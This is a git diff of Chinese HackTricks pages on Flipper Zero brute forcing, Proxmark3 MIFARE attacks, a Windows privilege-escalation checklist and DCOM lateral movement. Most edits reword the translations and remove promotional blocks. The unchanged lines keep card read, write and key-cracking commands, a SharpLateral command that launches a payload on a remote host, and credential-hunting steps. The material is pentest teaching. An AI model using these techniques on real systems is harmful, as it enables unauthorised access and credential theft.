如果您知道例如车库门使用的协议,可以 **生成所有代码并使用 Flipper Zero 发送它们。** 这是一个支持一般常见类型车库的示例:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
如果您知道例如车库门使用的协议,可以 **生成所有代码并通过 Flipper Zero 发送它们**。这是一个支持一般常见类型车库的示例:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### 手动添加
|
||||
|
||||
|
@ -93,8 +86,8 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
|
|||
|
||||
#### [支持的协议列表](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433(适用于大多数静态代码系统) | 433.92 | 静态 |
|
||||
| ------------------------------------------------ | ------ | ------- |
|
||||
| Princeton\_433(与大多数静态代码系统兼容) | 433.92 | 静态 |
|
||||
| ------------------------------------------------ | ------ | ----- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | 静态 |
|
||||
| Nice Flo 24bit\_433 | 433.92 | 静态 |
|
||||
| CAME 12bit\_433 | 433.92 | 静态 |
|
||||
|
@ -112,11 +105,11 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
|
|||
|
||||
### 支持的 Sub-GHz 供应商
|
||||
|
||||
查看列表 [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
|
||||
查看 [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) 中的列表
|
||||
|
||||
### 按地区支持的频率
|
||||
### 按区域支持的频率
|
||||
|
||||
查看列表 [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)
|
||||
查看 [https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies) 中的列表
|
||||
|
||||
### 测试
|
||||
|
||||
|
@ -128,12 +121,6 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -143,8 +130,8 @@ Flipper Zero 具有基于 [](https://www.st.com/en/nfc/st25r3916.html#overvie
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,29 @@
|
|||
# Proxmark 3
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 使用 Proxmark3 攻击 RFID 系统
|
||||
|
||||
您需要做的第一件事是拥有一个 [**Proxmark3**](https://proxmark.com) 并 [**安装软件及其依赖**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
|
||||
您需要做的第一件事是拥有一个 [**Proxmark3**](https://proxmark.com) 并 [**安装软件及其依赖项**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
|
||||
|
||||
### 攻击 MIFARE Classic 1KB
|
||||
|
||||
它有 **16 个扇区**,每个扇区有 **4 个块**,每个块包含 **16B**。UID 位于扇区 0 块 0(无法更改)。\
|
||||
要访问每个扇区,您需要 **2 个密钥**(**A** 和 **B**),这些密钥存储在 **每个扇区的块 3**(扇区尾部)。扇区尾部还存储 **访问位**,这些位使用 2 个密钥提供 **每个块的读写**权限。\
|
||||
2 个密钥可以用于提供读取权限,如果您知道第一个密钥,则可以写入权限,如果您知道第二个密钥(例如)。
|
||||
2 个密钥可以用于提供读取权限,如果您知道第一个密钥,则可以写入,如果您知道第二个密钥(例如)。
|
||||
|
||||
可以执行多种攻击
|
||||
```bash
|
||||
|
@ -52,7 +44,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3 允许执行其他操作,例如 **窃听** 标签与读卡器之间的通信,以尝试找到敏感数据。在这张卡中,您可以嗅探通信并计算使用的密钥,因为 **使用的加密操作很弱**,并且知道明文和密文后,您可以计算它(`mfkey64` 工具)。
|
||||
Proxmark3 允许执行其他操作,例如 **窃听** **标签与读卡器之间的通信** 以尝试找到敏感数据。在这张卡中,您可以仅仅嗅探通信并计算使用的密钥,因为 **使用的加密操作很弱**,并且知道明文和密文后,您可以计算它(`mfkey64` 工具)。
|
||||
|
||||
### 原始命令
|
||||
|
||||
|
@ -74,26 +66,19 @@ Proxmark3 软件附带了一份预加载的 **自动化脚本** 列表,您可
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
您可以创建一个脚本来**模糊标签读取器**,只需编写一个**Lua脚本**,随机化一个或多个随机**字节**,并检查在任何迭代中**读取器是否崩溃**。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
您可以创建一个脚本来**模糊标签读取器**,只需编写一个**Lua脚本**,随机化一个或多个随机**字节**,并检查**读取器是否崩溃**。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **查找 Windows 本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [系统信息](windows-local-privilege-escalation/#system-info)
|
||||
|
@ -33,7 +25,7 @@
|
|||
* [ ] 使用 **searchsploit 搜索** 内核 **漏洞**
|
||||
* [ ] [**环境变量**](windows-local-privilege-escalation/#environment) 中的有趣信息?
|
||||
* [ ] [**PowerShell 历史**](windows-local-privilege-escalation/#powershell-history) 中的密码?
|
||||
* [ ] [**Internet 设置**](windows-local-privilege-escalation/#internet-settings) 中的有趣信息?
|
||||
* [ ] [**互联网设置**](windows-local-privilege-escalation/#internet-settings) 中的有趣信息?
|
||||
* [ ] [**驱动器**](windows-local-privilege-escalation/#drives)?
|
||||
* [ ] [**WSUS 漏洞**](windows-local-privilege-escalation/#wsus)?
|
||||
* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||
|
@ -50,7 +42,7 @@
|
|||
* [ ] [**AppLocker 策略**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
* [ ] [**用户权限**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] 检查 [**当前** 用户 **权限**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] 检查 [**当前**] 用户 [**权限**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] 你是 [**任何特权组的成员**](windows-local-privilege-escalation/#privileged-groups)吗?
|
||||
* [ ] 检查你是否启用了 [这些令牌](windows-local-privilege-escalation/#token-manipulation):**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**用户会话**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
|
@ -61,7 +53,7 @@
|
|||
### [网络](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] 检查 **当前** [**网络** **信息**](windows-local-privilege-escalation/#network)
|
||||
* [ ] 检查 **隐藏的本地服务** 是否限制外部访问
|
||||
* [ ] 检查 **限制外部访问的隐藏本地服务**
|
||||
|
||||
### [运行中的进程](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
|
@ -85,7 +77,7 @@
|
|||
|
||||
### [DLL 劫持](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] 你能 **在 PATH 中的任何文件夹中写入** 吗?
|
||||
* [ ] 你能 **在 PATH 中的任何文件夹写入** 吗?
|
||||
* [ ] 是否有任何已知的服务二进制文件 **尝试加载任何不存在的 DLL**?
|
||||
* [ ] 你能 **在任何二进制文件夹中写入** 吗?
|
||||
|
||||
|
@ -97,13 +89,13 @@
|
|||
### [Windows 凭据](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) 凭据
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 凭据你可以使用?
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) 中你可以使用的凭据?
|
||||
* [ ] 有趣的 [**DPAPI 凭据**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/#wifi) 密码?
|
||||
* [ ] 保存的 [**Wifi 网络**](windows-local-privilege-escalation/#wifi) 的密码?
|
||||
* [ ] [**保存的 RDP 连接**](windows-local-privilege-escalation/#saved-rdp-connections) 中的有趣信息?
|
||||
* [ ] [**最近运行的命令**](windows-local-privilege-escalation/#recently-run-commands) 中的密码?
|
||||
* [ ] [**远程桌面凭据管理器**](windows-local-privilege-escalation/#remote-desktop-credential-manager) 密码?
|
||||
* [ ] [**AppCmd.exe** 是否存在](windows-local-privilege-escalation/#appcmd-exe)?凭据?
|
||||
* [ ] [**AppCmd.exe** 存在](windows-local-privilege-escalation/#appcmd-exe)吗?凭据?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)?DLL 侧加载?
|
||||
|
||||
### [文件和注册表(凭据)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
@ -111,16 +103,16 @@
|
|||
* [ ] **Putty:** [**凭据**](windows-local-privilege-escalation/#putty-creds) **和** [**SSH 主机密钥**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**注册表中的 SSH 密钥**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] [**无人值守文件**](windows-local-privilege-escalation/#unattended-files) 中的密码?
|
||||
* [ ] 任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) 备份?
|
||||
* [ ] 有任何 [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) 备份吗?
|
||||
* [ ] [**云凭据**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) 文件?
|
||||
* [ ] [**缓存的 GPP 密码**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
* [ ] [**IIS Web 配置文件**](windows-local-privilege-escalation/#iis-web-config) 中的密码?
|
||||
* [ ] [**Web 日志**](windows-local-privilege-escalation/#logs) 中的有趣信息?
|
||||
* [ ] [**网络日志**](windows-local-privilege-escalation/#logs) 中的有趣信息?
|
||||
* [ ] 你想要 [**向用户请求凭据**](windows-local-privilege-escalation/#ask-for-credentials) 吗?
|
||||
* [ ] [**回收站中的有趣文件**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] 其他 [**包含凭据的注册表**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] [**浏览器数据**](windows-local-privilege-escalation/#browsers-history) 中(数据库、历史记录、书签等)?
|
||||
* [ ] [**浏览器数据**](windows-local-privilege-escalation/#browsers-history) 中的内容(数据库、历史记录、书签等)?
|
||||
* [ ] [**通用密码搜索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) 在文件和注册表中
|
||||
* [ ] [**工具**](windows-local-privilege-escalation/#tools-that-search-for-passwords) 自动搜索密码
|
||||
|
||||
|
@ -132,12 +124,6 @@
|
|||
|
||||
* [ ] 检查你是否可以利用它
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -147,8 +133,8 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
@ -57,9 +49,9 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions",默认权限允许管理员访问。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
|
||||
**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions",默认为允许管理员访问的权限。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
|
||||
|
||||
两个特定对象,`ShellBrowserWindow` 和 `ShellWindows`,因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
|
||||
两个特定对象 `ShellBrowserWindow` 和 `ShellWindows` 因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
|
||||
|
||||
### ShellWindows
|
||||
对于缺乏 ProgID 的 `ShellWindows`,.NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 促进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化,可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`。
|
||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -135,8 +121,8 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Access Tokens
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
